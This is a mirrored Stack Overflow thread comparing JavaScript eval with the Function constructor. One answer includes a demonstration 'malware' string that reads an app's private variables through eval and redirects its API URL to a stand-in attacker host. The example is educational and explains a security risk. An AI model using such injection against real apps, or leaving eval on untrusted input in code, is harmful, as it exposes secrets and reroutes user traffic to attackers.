admin管理员组文章数量:1299989
I was reading about eval
on MDN and it seems to suggest that a somewhat "better" alternative to eval
is to use a function constructor. MDN seems to highlight that using a function constructor is less of a security risk pared to eval
as:
a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.
- MDN
What exactly does "a third-party code can see the scope in which eval() was invoked" mean and how does it impact the security of my JS apps?
I was reading about eval
on MDN and it seems to suggest that a somewhat "better" alternative to eval
is to use a function constructor. MDN seems to highlight that using a function constructor is less of a security risk pared to eval
as:
a third-party code can see the scope in which eval() was invoked, which can lead to possible attacks in ways to which the similar Function is not susceptible.
- MDN
What exactly does "a third-party code can see the scope in which eval() was invoked" mean and how does it impact the security of my JS apps?
Share Improve this question edited Mar 9, 2019 at 12:12 Shnick asked Mar 9, 2019 at 7:08 ShnickShnick 1,3911 gold badge18 silver badges39 bronze badges 3- As mentioned in the docs its about scope – Lawrence Cherone Commented Mar 9, 2019 at 7:40
- @LawrenceCherone Hi Lawrence, I'm aware of that. But what does having access to the scope actually mean? Thanks – Shnick Commented Mar 9, 2019 at 7:45
- 1 jsbin./zimerutowe/edit?js,console,output – Lawrence Cherone Commented Mar 9, 2019 at 7:46
2 Answers
Reset to default 8From the MDN page:
However, unlike eval, the Function constructor creates functions which execute in the global scope only.
If you wrap all of your code in a closure, secret objects cannot be accessed from the evaluated function body.
(() => {
let secret = 42;
eval("console.log(secret)"); // 42
let fn = new Function("console.log(secret)");
fn(); // secret is not defined
})();
An example of how using eval to, in this scenrio, parse inputs exposes and promises all the private scope of your app.
app = (function(){
// my app with all its shiny little secrets
// stored in private variables
var secret = 42;
var apiUrl = "/api/";
return {
withEval(input){
var someObject = eval(input);
console.log("withEval", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
withFunction(input){
var someObject = Function("return(" + input+")")();
console.log("withFunction", someObject);
if(apiUrl === "/api/"){
console.log("xhr to", apiUrl);
}else{
console.warn("xhr to", apiUrl);
}
},
}
})();
var malware = `(${
()=>{
try { console.warn("found secret", secret); } catch(err){ console.error(err); }
try { console.warn("found apiUrl", apiUrl); } catch(err){ console.error(err); }
apiUrl = "http://attacker.example./";
}})(),{ foo: 13, bar: 42 }`;
console.log(malware);
app.withFunction(malware);
console.log("-----------------");
app.withEval(malware);
With eval
your "secret" is exposed, like ids, tokens, ... and even the "apiUrl" has been changed so all your api-calls now make a roundtrip over the webpage of some attacker.
And your code doesn't even throw an error; I've logged these errors in the console.
本文标签: javascripteval vs function constructorStack Overflow
版权声明:本文标题:javascript - eval vs function constructor - Stack Overflow 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.betaflare.com/web/1741652545a2390567.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论